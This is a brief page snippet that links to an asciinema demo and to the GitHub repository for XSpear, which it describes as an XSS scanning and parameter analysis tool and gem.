[![asciicast](https://camo.githubusercontent.com/e12294d146284150d8f59a7a66f9fd94cefc093bdc15a3572fe62824496ce7a8/68747470733a2f2f61736369696e656d612e6f72672f612f3239303132362e737667)](https://asciinema.org/a/290126)

## GitHub:

> **[GitHub - hahwul/XSpear: 🔱 Powerfull XSS Scanning and Parameter analysis...](https://github.com/hahwul/XSpear)**
>
> 🔱 Powerfull XSS Scanning and Parameter analysis tool&gem